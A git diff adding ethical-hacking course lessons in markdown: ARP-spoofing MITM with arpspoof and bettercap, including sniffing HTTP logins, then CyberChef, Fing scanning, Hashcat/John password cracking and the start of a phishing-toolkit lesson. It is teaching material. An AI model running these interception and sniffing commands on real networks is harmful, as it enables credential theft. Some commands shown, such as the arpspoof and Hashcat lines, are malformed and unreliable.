+ So, any request made by the client or the response from the server will have to flow through the attacker, allowing them to perform a MITM attack. This allows us to read the information, modify it or drop it, and even inject malicious content into the communication.
+
+- The reason this is possible is ARP is not really secure. To understand this, we need to have some knowledge about what ARP is.
+
+> [!IMPORTANT]
+>
+> - ARP stands for Address Resolution Protocol, which is used to map IP addresses to MAC addresses in a local network.
+> - ARP spoofing or ARP poisoning is a technique used by attackers to send false ARP messages over a local area network (LAN).
+> - This allows the attacker to associate their MAC address with the IP address of another device, effectively redirecting traffic intended for that device to themselves.
+
+- How this actually works is, let's say we have Systems `A`, `B`, `C`, and `D`. Let's say A wants to communicate with C. For this purpose it needs to know the MAC address of C, so that it can communicate with the client.
+
+ So, what the client does is it uses the ARP Protocol. Basically, it sends an ARP Request to all the clients on the network saying "Who has XX.XX.XX.XX??". So, all the devices will ignore the packet except the one that has the IP address XX.XX.XX.XX, which is C in this case. As, a result `C` will respond with an ARP Response, and will say "I have XX.XX.XX.XX, and my MAC address is XX:XX:XX:XX:XX:XX". Now, `A` has the MAC address of `C`, and it can communicate with it. So, this is how ARP works.
+
+- Each computer has it's own ARP Table, which links IP Address on the same network to their MAC Addresses. YOu can get it on Kali Linux by using the command:
+
+ ```bash
+ root@kali:~# arp -a
+ ```
+
+ For example:
+
+ ```bash
+ root@kali:~# arp -a
+ _gateway (IP_1) at MAC_1 [ether] on eth0
+ _gateway (IP_2) at MAC_2 [ether] on wlan0
+ ? (IP_3) at MAC_3 [ether] on eth0
+ ```
+
+- If we do the same on windows we get the following output:
+
+ ```cmd
+ C:\Users\IEUser>arp -a
+
+ Interface: Interface_IP --- 0x7
+ Internet Address Physical Address Type
+ IP_1 MAC_1 dynamic
+ IP_2 MAC_2 dynamic
+ IP_3 MAC_3 static
+ ```
+
+ We can clearly see that it's mapping the IP addresses to their MAC addresses respectively. This MAC Address can be easily modified by using the ARP Protocol.
+
+- So, what we can do is we will exploit the ARP Protocol, and send 2 ARP responses. One to the client and one to the gateway. The ARP response to the client will say "The MAC address of the gateway is XX:XX:XX:XX:XX:XX", and the ARP response to the gateway will say "The MAC address of the client is XX:XX:XX:XX:XX:XX". This way, we can redirect the flow of packets in the network, and perform a MITM attack.
+
+### Why ARP Spoofing is Possible
+
+- ARP is a stateless protocol, meaning it does not verify the authenticity of the sender. This allows attackers to send false ARP messages without any verification.
+
+- Client accepts the response even if they didnot make the request. This means that if an attacker sends a false ARP response, the client will accept it without verifying if it was expecting a response.
+
+## Intercepting Traffic using ARP Spoofing
+
+- In order to do so, we need to know the IP addresses of the client and the gateway. We can use the `netdiscover` tool to find the IP addresses of the devices on the network.
+
+ ```bash
+ root@kali:~# netdiscover -i wlan0
+ ```
+
+ Once, the IP addresses are known, we can use the `arpspoof` tool to send the false ARP responses to the client and the gateway.
+
+ ```bash
+ root@kali:~# arpspoof -i -t client_ip gateway_ip
+ ```
+
+ ```bash
+ root@kali:~# arpspoof -i -t gateway_ip client_ip
+ ```
+
+ It would look something like this:
+
+ .png)
+ .png)
+
+- As, you can clearly see the MAC Address of the gateway has been changed to the MAC Address of the attacker. This means that all the packets that are intended for the gateway will now be sent to the attacker.
+
+- Now we need to allow packets to be forwarded. This can be done by enabling IP forwarding on the attacker's machine.
+
+ ```bash
+ root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
+ ```
+
+### Why use `arpspoof` ??
+
+- We could have used `ettercap` to perform the ARP spoofing, but the reason we are using `arpspoof` is because it is a lightweight tool that does not have a GUI. This means that it does not consume a lot of resources, and it is easier to use in a script.
+
+## Bettercap basics
+
+- `bettercap` is a powerful, flexible and portable tool created to perform various types of MITM attacks against a network, manipulate HTTP, HTTPS and TCP traffic in real-time, sniff for credentials and much more.
+- It is a complete rewrite of the well known `ettercap` tool, and it is written in Go programming language. It can not only perform ARP spoofing, but it can also perform DNS spoofing, HTTP/HTTPS manipulation, and much more.
+
+- To start using `bettercap`, we need to start the `bettercap` tool with the following command:
+
+ ```bash
+ root@kali:~# bettercap -iface
+ ```
+
+- This will start the `bettercap` tool and open the interactive shell. We can then use the `help` command to see the list of available commands.
+
+ ```bash
+ bettercap > help
+ ```
+
+- Let's say we want to scan for the devices on the network, we can use the `net.probe on` command to scan for the devices on the network.
+
+ ```bash
+ net.probe on
+ ```
+
+- This will scan for the devices on the network and display their IP addresses, MAC addresses, and hostnames.
+
+
+ ```bash
+ 192.168.175.0/24 > 192.168.175.129 » net.probe on
+ [06:29:59] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
+ [06:29:59] [endpoint.new] endpoint 192.168.175.254 detected as 00:50:56:e5:67:d9 (VMware, Inc.).
+ [06:29:59] [endpoint.new] endpoint 192.168.175.130 detected as 00:0c:29:23:e8:71 (VMware, Inc.).
+ 192.168.175.0/24 > 192.168.175.129 » [06:29:59] [sys.log] [inf] net.probe probing 256 addresses on 192.168.175.0/24
+ 192.168.175.0/24 > 192.168.175.129 » [06:29:59] [endpoint.new] endpoint 192.168.175.1 detected as 00:50:56:c0:00:08 (VMware, Inc.).
+ 192.168.175.0/24 > 192.168.175.129 » [06:30:20] [endpoint.lost] endpoint 192.168.175.130 00:0c:29:23:e8:71 (VMware, Inc.) lost.
+ ```
+
+ This is another way of discovering connected clients quickly using bettercap. What we didn't notice is when we started the `net.probe on` command, it automatically started the `net.recon` command as a requirement for `net.probe`. This means that it is continuously scanning for new devices on the network. So, now if you do `help` again, you will see that the `net.recon` command is also running.
+
+ .png)
+
+ The reason for this is because the net.probe sends probe request to all possible IPs, and than if we get a response the net.recon will be the one detecting the response by monitoring my ARP Cache, and than adding all of these IPs in a nice list, so we can target them.
+
+- We can use `net.show` command to see the list of devices on the network.
+
+ ```bash
+ net.show
+ ```
+
+ This will display the list of devices on the network along with their IP addresses, MAC addresses, and hostnames.
+
+ .png)
+
+ Here, we can see there IPs, corresponding MAC Addresses, and it can also show you information about each one of these IPs.
+
+### ARP Spoofing using Bettercap
+
+ Now to perform the ARP spoofing, we can use the `arp.spoof` command to enable ARP spoofing. Let's first see how to activate this command.
+
+ .png)
+
+ So, here we can clearly seedsad that we can use the `arp.spoof on` command to turn this module on. We can do `arp.ban on` this will literally just cut the connection to the target. We can do `arp.spoof off` to turn it off.
+
+#### `bettercap` parameters in ARP Spoofing
+
+- Anything under the parameters is something we can set in the module. So, now we will be seeing how to modify some of these option. Let's go through one of the options `arp.spoof.fullduplex`.
+
+- If it is set to `true`, it will perform a full duplex attack, meaning it will spoof both the target and the gateway. If it is set to `false`, it will only spoof the target. It is set to `false` by default because if the ARP Spoofing Protection is enabled on the gateway, it will detect the ARP spoofing attack and will block the attacker from sending ARP responses to the gateway.
+
+- If you want to set it to `true`, you can use the following command:
+
+ ```bash
+ set arp.spoof.fullduplex true
+ ```
+
+ In a similar fashion, we need to set the target as well.
+
+ ```bash
+ set arp.spoof.targets
+ ```
+
+- Now, we can use the `arp.spoof on` command to start the ARP spoofing attack.
+
+ ```bash
+ arp.spoof on
+ ```
+
+- If we want to run this as 1 command, we can use the following command:
+
+ ```bash
+ set arp.spoof.fullduplex true;set arp.spoof.targets ;arp.spoof on
+ ```
+
+ .png)
+
+ Now, if we check the Target Windows Vm, we can clearly see, the MACs changed.
+
+ .png)
+
+ - If we see, the output of `help` it clearly shows `arp.spoof` is running.
+
+ - Also, when we check the output for `arp -a` on the Windows VM, we can see that the MAC address of the gateway has been changed to the MAC address of the attacker. This means that all the packets that are intended for the gateway will now be sent to the attacker.
+
+The same can be performed using our automated script as well which is at the specified [location](/python-scripts/bettercap_arp_spoofing_script.py).
+
+### Spying on Network Devices
+
+- So, far we have learnt how to perform ARP spoofing using bettercap. Now, we will see how to spy on the network devices using bettercap. To do so we can use the command `net.sniff on`. This will start sniffing the network traffic and will display the packets in real-time.
+
+ ```bash
+ net.sniff on
+ ```
+
+>[!NOTE]
+> `net.sniff` will only work for HTTP Connections. It will not work for HTTPS connections as they are encrypted. To sniff HTTPS connections, requires advanced techniques which we will cover in a later lesson.
+
+ - Once, executed we can see all the HTTP requests and responses in real-time. Including all the icons, images, CSS files, JS files, etc.
+
+ - Now, when we login into a HTTP Website with a username and password, we can see the username and password in the output of `net.sniff`, as shown below:
+
+ .png)
+ .png)
+
+- In this way we can spy on the network devices using bettercap. We can see all the HTTP requests and responses in real-time, including the username and password for HTTP websites.
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking Post Connection Attacks - Information Gathering](/lesson-05.md) | [Next Lesson: CyberChef – The Cyber Swiss Army Knife](/lesson-cyberchef.md) ->
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-cyberchef.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-cyberchef.md
new file mode 100644
index 0000000..f5ab2f5
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-cyberchef.md
@@ -0,0 +1,105 @@
+---
+title: "CyberChef – The Cyber Swiss Army Knife"
+slug: "lesson-cyberchef"
+order: 7
+category: "ethical-hacking"
+prev: "lesson-06"
+next: "lesson-fing"
+---
+
+# CyberChef – The Cyber Swiss Army Knife 🛠️
+
+## 📌 What is CyberChef?
+
+CyberChef is a web-based tool created by GCHQ (UK's Government Communications Headquarters) to perform a wide range of data analysis, encryption, encoding, and decoding tasks.
+
+It’s often called the **“Cyber Swiss Army Knife”** because it provides hundreds of built-in “operations” that can be combined like recipes to process data.
+
+CyberChef is widely used in:
+* Cybersecurity (CTFs, forensic investigations, malware analysis)
+* Data Encoding/Decoding (`Base64`, URL encoding, `Hex`, `Binary`)
+* Cryptography (`XOR`, `AES`, hashing)
+* Everyday troubleshooting (unescaping characters, parsing JSON, etc.)
+
+---
+
+## ⚙️ Tools & Features of CyberChef
+
+CyberChef works using **recipes** – you drag and drop operations from the left panel to process your data in the middle panel, and instantly view the results in the right panel.
+
+### 🔑 Common Operations:
+
+1. **Encoding / Decoding**
+ * `Base64 Encode` / `Decode`
+ * `URL Encode` / `Decode`
+ * `From Hex` / `To Hex`
+
+2. **Encryption / Decryption**
+ * `XOR` (with a key)
+ * `AES Encrypt` / `Decrypt`
+ * `ROT13`
+
+3. **Data Conversion**
+ * `To Binary` / `From Binary`
+ * `To Octal` / `From Octal` / `To Decimal` / `From Decimal`
+ * Character Encoding (`UTF-8`, `ASCII`)
+
+4. **Hashing**
+ * `MD5`, `SHA-1`, `SHA-256`
+ * `HMAC`
+
+5. **Data Analysis**
+ * `Entropy` calculation
+ * `Frequency analysis` (helpful in cryptography)
+
+6. **Utilities**
+ * `Find / Replace`
+ * `Split` / `Join`
+ * `Extract URLs`, `Extract IP addresses`, or `Extract Email addresses`
+
+---
+
+## 🧪 Example
+
+Here's a simple example of how a recipe works.
+
+* **Input:**
+ ```
+ Hello
+ ```
+* **Recipe:**
+ 1. `To Hex`
+* **Output:**
+ ```
+ 48656c6c6f
+ ```
+
+
+
+If you then add the `From Hex` operation to the recipe, it will convert the hex back to the original text, `Hello`. This shows how you can chain multiple steps to build a complex data processing pipeline.
+
+Explore [CyberChef Official Website](https://gchq.github.io/CyberChef/) and enjoy the use of different recipes.
+
+---
+
+## 📚 More Reading Material
+
+* [CyberChef GitHub Repository](https://github.com/gchq/CyberChef)
+* [An Introduction to CyberChef (DFIR Diva Blog)](https://www.dfirdiva.com/an-introduction-to-cyberchef/)
+* [CyberChef Room on TryHackMe (Hands-on Practice)](https://tryhackme.com/room/cyberchef)
+
+---
+
+## 🎯 Key Takeaways
+
+* CyberChef is an all-in-one tool for data processing, cryptography, and encoding.
+* You can combine multiple steps (recipes) to solve complex problems.
+* It is an essential tool for students, security professionals, and CTF players.
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking Post Connection Attacks - MITM Attacks](/lesson-06.md) | [Next Lesson: Introduction to Network Scanning with Fing](/lesson-fing.md) ->
+
+
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-fing.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-fing.md
new file mode 100644
index 0000000..7a272fc
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-fing.md
@@ -0,0 +1,129 @@
+---
+title: "Introduction to Network Scanning with Fing"
+slug: "lesson-fing"
+order: 8
+category: "ethical-hacking"
+prev: "lesson-cyberchef"
+next: "lesson-password_attack-and_hashcracking"
+---
+
+# Lesson: Introduction to Network Scanning with Fing
+
+Welcome, future ethical hackers! The very first step in any security assessment is **reconnaissance**. Before you can test a system's defenses, you must first understand what you're up against. What devices are on the network? What services are they running? This initial mapping phase is critical, and today, we're learning about one of the most user-friendly tools for the job: **Fing**.
+
+Think of Fing as the sleek, graphical user interface (GUI) version of the powerful command-line tool, `nmap`. It's fast, easy to use, and available on your phone (iOS/Android) and desktop, making it perfect for quick, initial scans.
+
+---
+
+## What Fing Does: Key Features for Reconnaissance
+
+Fing is designed to give you a quick and clear picture of a network. For an ethical hacker, these are its most valuable features:
+
+### 1. Network Discovery & Device Inventory
+
+When you first connect to a network (with permission!), your primary goal is to create an inventory. Fing excels at this by scanning the local network and listing every device it finds.
+
+For each device, Fing tries to identify:
+* **IP Address**: The device's unique network address (e.g., `192.168.1.101`).
+* **MAC Address**: The unique hardware address of the device's network card. This can help you identify the manufacturer.
+* **Hostname**: The name of the device on the network (e.g., `davids-macbook-pro`).
+* **Vendor**: The manufacturer (e.g., Apple, Dell, Netgear), identified from the MAC address.
+
+**Use Case:** This feature is your starting point for mapping the network. It helps you identify known assets and, more importantly, spot unknown or unauthorized devices that shouldn't be there.
+
+### 2. Open Port & Service Finding
+
+This is where Fing becomes incredibly useful for security assessments.
+
+* **What are ports?** If a device's IP address is its street address, **ports** are the numbered doors into that building. There are 65,535 possible ports, and different services (like websites or remote access tools) listen for connections on specific "doors."
+* **How does Fing help?** Fing can run a port scan on a specific device to see which of these doors are open. An open port means a service is likely running and listening for a connection—a potential entry point.
+
+Fing will identify common open ports and guess the service running on them:
+
+| Common Port | Service | What it means |
+|-------------|----------------|----------------------------------------------------|
+| `22/TCP` | SSH (Secure Shell) | A secure channel for remote command-line access. |
+| `80/TCP` | HTTP | A web server is running. |
+| `443/TCP` | HTTPS | A secure web server is running. |
+| `3389/TCP` | RDP | Windows Remote Desktop Protocol for remote access. |
+
+**Use Case:** Finding open ports tells you what a device *does*. A server with port 80 open is a web server. Your next step, as an ethical hacker, would be to investigate that web service for vulnerabilities.
+
+---
+
+## How Fing is Used in Ethical Hacking
+
+In a professional engagement, Fing is used in the initial, non-destructive reconnaissance phase.
+
+1. **Map the Network:** Run Fing to get a complete list of all hosts, their IPs, and their MAC addresses within your authorized scope. This becomes your initial asset inventory.
+2. **Guide Further Testing:** The results from Fing tell you where to focus your efforts. A device with many open ports is a more interesting target for a deeper vulnerability scan than a device with none.
+3. **Spot Anomalies:** Compare your scan results to what you expect to see. Is there a device you don't recognize? Is a printer running a web server on an unusual port? These anomalies are red flags worth investigating.
+4. **Quick Diagnostics:** Use Fing's built-in tools like `ping` and `traceroute` to confirm a device is online and to understand the network path to it.
+
+> **Important:** Fing is a reconnaissance and diagnostics tool, **not** a full penetration-testing suite. It finds the doors; it doesn't try to open them. For vulnerability scanning and exploitation, you use specialized tools like Nmap (with scripts), Nessus, or Metasploit—and only with explicit permission.
+
+---
+
+## A Safe, Conceptual Example (In Your Lab)
+
+Let's imagine you are authorized to scan your isolated home lab network to practice.
+
+**1. Run the Network Scan**
+You open the Fing desktop app and click "Scan for devices."
+
+**2. Analyze the Results**
+Fing returns a list of devices:
+```
+
+ - 192.168.1.1 (tplink-router)
+ - 192.168.1.5 (Googles-Pixel-7)
+ - 192.168.1.42 (ubuntu-server) <-- Interesting
+ - 192.168.1.55 (HP-OfficeJet-Pro)
+
+```
+
+**3. Investigate a Target**
+The `ubuntu-server` at `192.168.1.42` looks like a good target. You select it in Fing and choose the "Find open ports" option.
+
+**4. Review the Port Scan**
+Fing scans the device and shows you the following:
+```
+
+Scanning 192.168.1.42...
+
+Open Ports Found:
+
+ - 22/tcp (Service: SSH)
+ - 80/tcp (Service: HTTP)
+
+```
+
+**5. Formulate Your Next Steps**
+From this scan, you now know:
+* The device is likely a Linux server.
+* It can be managed remotely via `SSH` (port 22).
+* It is hosting a website via `HTTP` (port 80).
+
+Your next authorized action in a real test would be to use a web vulnerability scanner to probe the website on port 80 for common flaws.
+
+---
+Screenshots
+
+
+
+
+
+---
+## Where to Read More
+
+To continue your learning, check out the official documentation. The CLI (Command-Line Interface) guide is especially useful for learning how to automate your scans.
+
+* [Fing Official Website](https://www.fing.com/)
+* [Fing App Features](https://www.fing.com/products/fing-app)
+* [Fing CLI User Guide (PDF)](https://www.fing.com/images/uploads/fing-cli-user-guide.pdf)
+
+---
+
+### Path
+
+<- [Previous Lesson: CyberChef – The Cyber Swiss Army Knife](/lesson-cyberchef.md) | [Next Lesson: Password Attacks & Hash Cracking](/lesson-password_attack-and_hashcracking.md) ->
\ No newline at end of file
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-password_attack-and_hashcracking.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-password_attack-and_hashcracking.md
new file mode 100644
index 0000000..7cba140
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-password_attack-and_hashcracking.md
@@ -0,0 +1,154 @@
+---
+title: "Password Attacks & Hash Cracking"
+slug: "lesson-password_attack-and_hashcracking"
+order: 9
+category: "ethical-hacking"
+prev: "lesson-fing"
+next: "lesson-passwordcracking"
+---
+
+ # Lesson 07 — Password Attacks & Hash Cracking (Hashcat & John)
+
+ ## Overview
+
+ This lesson introduces password-based attacks and demonstrates local, safe labs for cracking password hashes using two common tools: Hashcat and John the Ripper. It focuses on practical techniques, defensive measures, and legal/ethical constraints.
+
+ > Important: Only perform these exercises on machines and data you own or where you have explicit permission. Never attempt password cracking on third-party systems without written authorization.
+
+ ## Learning objectives
+
+ - Understand common password attack types: guessing, dictionary, brute-force, rule-based, and hybrid attacks.
+ - Learn how to extract and prepare password hashes for cracking (examples: /etc/shadow, exported hashes from a DB dump) in safe, local environments.
+ - Run basic Hashcat and John the Ripper jobs against sample hashes and interpret results.
+ - Learn defensive controls: strong hashing (bcrypt/argon2), salting, rate-limiting, MFA, and password policies.
+
+ ## Prerequisites
+
+ - Basic command-line skills
+ - Python 3 (for small helper scripts)
+ - Hashcat or John the Ripper installed (or Docker images if you prefer container runs)
+ - A small password wordlist (rockyou or custom)
+
+ If you don't want to install tools locally, use the official Docker images for Hashcat or John.
+
+ ## Lab setup — safe sample hashes
+
+ We'll create a minimal, local sample file with a few hashed passwords using common algorithms. Save the following small Python helper as `make_hashes.py` and run it locally to produce `sample_hashes.txt`.
+
+ ```python
+ # make_hashes.py — generate sample password hashes (for local lab only)
+ import hashlib
+ import bcrypt
+
+ passwords = [
+ 'password123',
+ 'hunter2',
+ 'S3cur3P@ss!',
+ 'letmein',
+ ]
+
+ # SHA1 (insecure, demonstrative)
+ with open('sample_hashes.txt', 'w') as f:
+ for p in passwords:
+ h = hashlib.sha1(p.encode()).hexdigest()
+ f.write(f'sha1:{h}:{p}\n')
+
+ # bcrypt (slow, recommended for real systems)
+ with open('sample_hashes_bcrypt.txt', 'w') as f:
+ for p in passwords:
+ bh = bcrypt.hashpw(p.encode(), bcrypt.gensalt()).decode()
+ f.write(f'bcrypt:{bh}:{p}\n')
+```
+
+ Run it to create `sample_hashes.txt` and `sample_hashes_bcrypt.txt`.
+
+ ## Lab 1 — Cracking simple SHA1 hashes with Hashcat (demo)
+
+ 1. Prepare your wordlist. If you have `rockyou.txt`, use it; otherwise create a tiny `wordlist.txt` with candidate passwords.
+
+ 2. Hashcat requires a hash file with one hash per line. Extract the SHA1 column from `sample_hashes.txt` into `sha1-only.txt` (one hash per line).
+
+ 3. Run Hashcat in a minimal mode (example uses hash type 100 for raw SHA1):
+
+ ```bash
+ # Example (Linux/WSL/PowerShell-friendly):
+ hashcat -m 100 -a 0 sha1-only.txt wordlist.txt --show
+ ```
+
+ - `-m 100` selects SHA1, `-a 0` is a straight/dictionary attack. `--show` prints cracked hashes.
+
+ Notes:
+ - On Windows, use the Hashcat binary or Docker image. For Docker, run the official image and mount the files.
+ - Use limits (like `--session` and `--runtime`) to avoid long runs.
+
+ ## Lab 2 — John the Ripper (single mode and wordlist)
+
+ John is simpler to start with for beginners. Prepare a `john_hashes.txt` in a format John expects (one hash per line). Then run:
+
+ ```bash
+ john --wordlist=wordlist.txt john_hashes.txt
+ john --show john_hashes.txt
+ ```
+
+ Use `--rules` to apply mangling rules (prepend/append digits, case changes).
+
+ ## Lab 3 — Hashcat rules and hybrid attacks (brief)
+
+ Hashcat supports powerful rule sets. Example: use the `best64.rule` with a dictionary:
+
+ ```bash
+ hashcat -m 100 -a 0 sha1-only.txt wordlist.txt -r rules/best64.rule --show
+ ```
+
+ Hybrid attack (mask + wordlist):
+
+ ```bash
+ hashcat -m 100 -a 6 sha1-only.txt wordlist.txt ?d?d
+ ```
+
+ This appends two digits to each word from the list.
+
+ ## Lab 4 — Cracking bcrypt (why it's harder)
+
+ Bcrypt is intentionally slow and resists GPU acceleration. Use John or Hashcat with the right mode, but expect longer runtimes. Example with John:
+
+ ```bash
+ john --wordlist=wordlist.txt sample_hashes_bcrypt.txt
+ ```
+
+ Expect bcrypt cracking to be much slower — that's by design.
+
+ ## Defensive measures — how to stop this happening
+
+ - Use strong, slow password hashing algorithms: Argon2, bcrypt, or scrypt. Avoid raw SHA1/MD5 for passwords.
+ - Salt all passwords with a unique per-user salt.
+ - Enforce strong password policies and use password strength meters at signup.
+ - Implement multi-factor authentication (MFA) to reduce impact of compromised passwords.
+ - Rate-limit authentication attempts and lock or escalate after repeated failures.
+ - Monitor for credential stuffing and leaked credential reuse (breach detection).
+
+ ## Safe practice and legal notes
+
+ - Only test on data you own or are explicitly authorized to test.
+ - Treat leaked password dumps as sensitive — do not publish or redistribute.
+ - If you find real weak passwords during a sanctioned test, document and report them responsibly.
+
+ ## Optional exercises
+
+ - Add salt and switch the sample hashes to Argon2 (use `argon2-cffi` in Python) and verify how cracking becomes more difficult.
+ - Build a small script that converts `/etc/shadow` entries (locally created VM) into John-compatible format and run John against it (do this only in a lab VM).
+ - Try a hybrid Hashcat attack combining a wordlist and masks to simulate common user behavior (e.g., appending years).
+
+ ## References
+
+ - Hashcat docs: https://hashcat.net/hashcat/
+ - John the Ripper: https://www.openwall.com/john/
+ - OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
+
+ ---
+
+### Path
+
+<- [Previous Lesson: Introduction to Network Scanning with Fing](/lesson-fing.md) | [Next Lesson: Password Cracking](/lesson-passwordcracking.md) ->
+
+ Updated: 2025-10-07
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-passwordcracking.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-passwordcracking.md
new file mode 100644
index 0000000..ff167ae
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-passwordcracking.md
@@ -0,0 +1,181 @@
+---
+title: "Password Cracking"
+slug: "lesson-passwordcracking"
+order: 10
+category: "ethical-hacking"
+prev: "lesson-password_attack-and_hashcracking"
+next: "lesson-phising-toolkit"
+---
+
+# Password Cracking 🔐
+
+## 🔐 Password Cracking with John the Ripper
+
+Welcome to the **John the Ripper** tutorial! This guide walks you through using one of the most powerful open-source tools for password auditing and security testing. Whether you're a cybersecurity student or an ethical hacker, this project will help you understand how password hashes are cracked using different modes in Kali Linux.
+
+---
+
+## 📘 What is John the Ripper?
+
+**John the Ripper (JtR)** is a free, open-source password cracking tool primarily used for security testing and password auditing. It works by analyzing password hashes—encrypted versions of passwords stored in operating systems, applications, and databases—and attempting to reveal the original password using various cracking techniques.
+
+---
+
+## 🧠 Cracking Modes Explained
+
+John the Ripper supports multiple modes of attack:
+
+### 1. Dictionary Attack
+
+Uses a predefined wordlist to test each word against the hash until a match is found.
+
+### 2. Brute Force Attack
+
+Generates every possible combination of characters until the correct password is discovered.
+
+### 3. Incremental Mode
+
+Starts with simple passwords and gradually increases complexity based on defined rules.
+
+
+
+---
+
+## 🛠️ Getting Started in Kali Linux
+
+### Step 1: In Kali Linux, the John the Ripper tool is pre-installed, but if you are facing any issues, then you can install it again using the following command
+
+```bash
+sudo apt install john
+```
+
+
+
+### Step 2: Now using following command we can check the john the ripper version and other related information
+
+```bash
+john
+```
+
+
+
+### Step 3: For our testing and demo purpose we have hash file which consists hash password in diffirent diffirent format and also we have custom wordlist for dictionary attack using john the ripper. For listing everything and seeing we can use following command
+
+```bash
+ls
+```
+
+
+
+### Step 4: Now for findig password using dictionary attack we can use following command where rockyou.txt file is wordlist which exists by default in kali linux and alpha.txt is our hash stored file which contains our real password in MD5 hash format. Using following command we can see we cracked the password which is abcd
+
+```bash
+john --wordlist=/usr/share/wordlists/rockyou.txt alpha.txt --format=raw-md5
+```
+
+
+
+### Step 5: In another file num.txt we have MD5 hash format . We can also use incremental mode for cracking this password file where our john the ripper tool increment its value one by one and tries to match password one by one and when it matches it give us result that password has been found out
+
+```bash
+john --format=raw-md5 num.txt --incremental
+```
+
+
+
+### Step 6: Now in this step we will use our custom dictionary file instead of pre saved file in kali linux. This method can be very useful when we have list of passwords in which one is correct
+
+```bash
+john --wordlist=customwc.txt hash1.txt --format=raw-md5
+```
+
+
+
+### Step 7: In john the ripper we can use multiple type of hash format for cracking the passwords. Following is example for cracking the password of SHA1 type hash using john the ripper in kali linux
+
+```bash
+john --wordlist=customwc.txt hashsha.txt --format=raw-sha1
+```
+
+
+
+---
+
+## 🔐 Password Cracking with HashCat
+
+**Hashcat** is famous as the fastest password cracker and password recovery utility. Hashcat is designed to break or crack even the most complex passwords in a very short amount of time.
+
+---
+
+## 😍 Working Of Hashcat
+
+Usually Hashcat tool comes pre-installed with Kali Linux, but if we need to install it, write down the given command in the terminal.
+
+```bash
+sudo apt-get install hashcat
+```
+
+
+
+Now, you can find the hashcat Tool in Password Cracking Tools :
+
+
+
+---
+
+## Dictionary Attack using HashCat
+
+### Step 1: Creating Hash Entries
+
+```bash
+-n: This option removes the new line added to the end of entries as we don’t want the newline characters to be hashed with our entries.
+```
+
+```bash
+tr -d: This option removes any characters that are a space or hyphen from the output.
+```
+
+### Step 2: Checking the stored Hashes
+
+```bash
+cat Dictionary_hashes.txt
+```
+
+### Step 3: Choose the wordlists
+
+For Example : rockyou.txt
+
+```bash
+locate rockyou.txt
+```
+
+### Step 4: Cracking the Hashes
+
+Now we can crack the hashes that we stored in Dictionary_hashes.txt and we will store the result in the Done.txt file.
+
+```bash
+hashcat -m 500 -a 0 Done.txt Dictionary_hashes.txt /usr/share/wordlists/rockyou.txt
+```
+
+### Step 5: Results
+
+```bash
+cat Done.txt
+```
+
+---
+
+## Features of hashcat
+
+- The 90+ Algorithm can be implemented with performance and optimization in mind.
+- The number of threads can be configured.
+- Hashcat is a multi-algorithm based ( MD5, MD4, MySQL, SHA1, NTLM, DCC, etc.).
+- All attacks can be extended by specialized rules.
+- It is multi-hash and multi-OS-based (Windows and Linux).
+- It supports both hex-charset and hex-salt files.
+
+---
+
+### Path
+
+<- [Previous Lesson: Password Attacks & Hash Cracking](/lesson-password_attack-and_hashcracking.md) | [Next Lesson: Phishing Toolkits](/lesson-phising-toolkit.md) ->
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-phising-toolkit.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-phising-toolkit.md
new file mode 100644
index 0000000..2b58863
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-phising-toolkit.md
@@ -0,0 +1,154 @@
+---
+title: "Phishing Toolkits"
+slug: "lesson-phising-toolkit"
+order: 11
+category: "ethical-hacking"
+prev: "lesson-passwordcracking"
+next: "binary-exploitation"
+---
+
+# Phishing Toolkits: A Deep Dive for Ethical Hacking and Defense
+
+ - [Phishing Toolkits: A Deep Dive for Ethical Hacking and Defense](#phishing-toolkits-a-deep-dive-for-ethical-hacking-and-defense)
+ - [What is a Phishing Toolkit?](#what-is-a-phishing-toolkit)
+ - [The Dual-Use Nature of Phishing Tools](#the-dual-use-nature-of-phishing-tools)
+ - [How a Phishing Attack Works: From Start to End](#how-a-phishing-attack-works-from-start-to-end)
+ - [Anatomy of a Phishing Kit](#anatomy-of-a-phishing-kit)
+ - [1. Website Cloner](#1-website-cloner)
+ - [2. Email Spoofing Module](#2-email-spoofing-module)
+ - [3. Credential Harvester](#3-credential-harvester)
+ - [4. Redirector](#4-redirector)
+ - [Popular Phishing Frameworks](#popular-phishing-frameworks)
+ - [Social-Engineer Toolkit (SET)](#social-engineer-toolkit-set)
+ - [Gophish](#gophish)
+ - [Evilginx2 (Advanced)](#evilginx2-advanced)
+ - [Comprehensive Detection and Prevention Strategies](#comprehensive-detection-and-prevention-strategies)
+ - [For Individuals: Building a Human Firewall](#for-individuals-building-a-human-firewall)
+ - [For Organizations: A Layered Defense](#for-organizations-a-layered-defense)
+
+-----
+
+## What is a Phishing Toolkit?
+
+A **Phishing Toolkit** is a collection of software and scripts that automates the process of launching a phishing attack. The primary goal of such an attack is to deceive victims into voluntarily surrendering sensitive information—such as login credentials, credit card numbers, or personal data—by impersonating a trusted entity.
+
+These toolkits are essential for cybersecurity professionals (often called "ethical hackers" or "pentesters") to simulate real-world attacks. By launching controlled phishing campaigns against an organization, security teams can measure the effectiveness of their technical defenses and, more importantly, assess the security awareness of their employees. The results are then used to provide targeted training and strengthen the overall security posture.
+
+> [!IMPORTANT]
+>
+> * **Primary Goal:** Steal sensitive information through deception.
+> * **Methodology:** A sophisticated form of social engineering.
+> * **Legitimate Use:** Used by security professionals for testing and training.
